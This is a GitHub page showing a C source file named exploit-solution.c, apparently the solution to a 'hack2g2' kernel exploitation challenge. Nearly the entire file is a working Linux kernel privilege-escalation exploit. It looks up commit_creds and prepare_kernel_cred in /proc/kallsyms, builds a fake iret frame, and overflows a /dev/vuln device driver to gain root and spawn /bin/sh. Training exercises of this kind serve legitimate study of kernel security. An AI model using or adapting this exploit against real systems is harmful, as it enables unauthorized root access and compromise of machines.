-
Notifications
You must be signed in to change notification settings - Fork 2
/
exploit-solution.c
151 lines (132 loc) · 3.38 KB
/
exploit-solution.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
/****************************************************
*
* File Name :exploit.c
* Created by :Guillaume Francqueville
* Creation date :septembre 07th, 2016
* Last changed by :Guillaume Francqueville
* Last change :septembre 24th, 2016 15:09
* Description :hack2g2 kenerle exploit
*
****************************************************/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include <sys/user.h>
struct fake_frame {
void *eip; // shell()
uint32_t cs; // %cs
uint32_t eflags; // eflags
void *esp; // %esp
uint32_t ss; // %ss
} __attribute__((packed)) ff;
void* (*prepare_kernel_cred)(void*) __attribute__((regparm(3)));
void* (*commit_creds)(void*) __attribute__((regparm(3)));
void shell(void) {
execl("/bin/sh", "sh", 0);
}
void payload(void) {
commit_creds(prepare_kernel_cred(0));
asm("mov $ff, %esp;"
"iret;");
}
/*
* Setup the fake frame
* |ss | Lower
* |esp |
* |eflags |
* |cs |
* |eip |
*/
void setup_ff(void) {
asm("pushl %cs; popl ff+4;"
"pushfl; popl ff+8;"
"pushl %esp; popl ff+12;"
"pushl %ss; popl ff+16;");
ff.eip = &shell;
ff.esp -= 1024;
fprintf(stdout,"ff.eip : %x\n",ff.eip);
fprintf(stdout,"ff.cs : %x\n",ff.cs);
fprintf(stdout,"ff.eflags : %x\n",ff.eflags);
fprintf(stdout,"ff.esp : %x\n",ff.esp);
fprintf(stdout,"ff.ss : %x\n",ff.ss);
}
int main(int argc, char ** argv){
FILE* f;
int i;
char yeah[50];
FILE* fd;
int ret = 0;
unsigned long addr;
char dummy;
char sname[512];
fprintf(stdout,"[+] launching exploit\n");
// Get needed addresses
fd = fopen("/proc/kallsyms", "r");
if(fd == NULL) {
perror("fopen()");
return -1;
}
while(ret != EOF) {
ret = fscanf(fd, "%p %c %sn", (void **)&addr, &dummy, sname);
if(prepare_kernel_cred && commit_creds)
break;
else
if(!strncmp(sname, "prepare_kernel_cred", 512))
prepare_kernel_cred = (void*)addr;
else
if(!strncmp(sname, "commit_creds", 512))
commit_creds = (void*)addr;
}
fclose(fd);
fprintf(stdout, "[+] commit_creds at %p\n", commit_creds);
fprintf(stdout, "[+] prepare_kernel_cred %p\n", prepare_kernel_cred);
fprintf(stdout,"[+] payload at : %x\n",&payload);
// setup fake frame
fprintf(stdout, "[+] preparing fake frame\n");
setup_ff();
fprintf(stdout,"[+] ready to pwn !\n");
for(i=0;i<64;i++){
if((f = fopen("/dev/vuln","w+")) == NULL){
printf("[-] cannot open /dev/vuln\n");
exit(1);
}
fprintf(f,"B");
fclose(f);
}
if((f = fopen("/dev/vuln","w+")) == NULL){
printf("[-] cannot open /dev/vuln\n");
exit(1);
}
fprintf(f,"\x7c");
fclose(f);
if((f = fopen("/dev/vuln","w+")) == NULL){
printf("[-] cannot open /dev/vuln\n");
exit(1);
}
fprintf(f,"\x88");
fclose(f);
if((f = fopen("/dev/vuln","w+")) == NULL){
printf("[-] cannot open /dev/vuln\n");
exit(1);
}
fprintf(f,"\x04");
fclose(f);
if((f = fopen("/dev/vuln","w+")) == NULL){
printf("[-] cannot open /dev/vuln\n");
exit(1);
}
fprintf(f,"\x08");
fclose(f);
if((f = fopen("/dev/vuln","r")) == NULL){
printf(":(");
exit(1);
}
printf("[+] let's go !");
fgets(yeah,49,f);
fclose(f);
}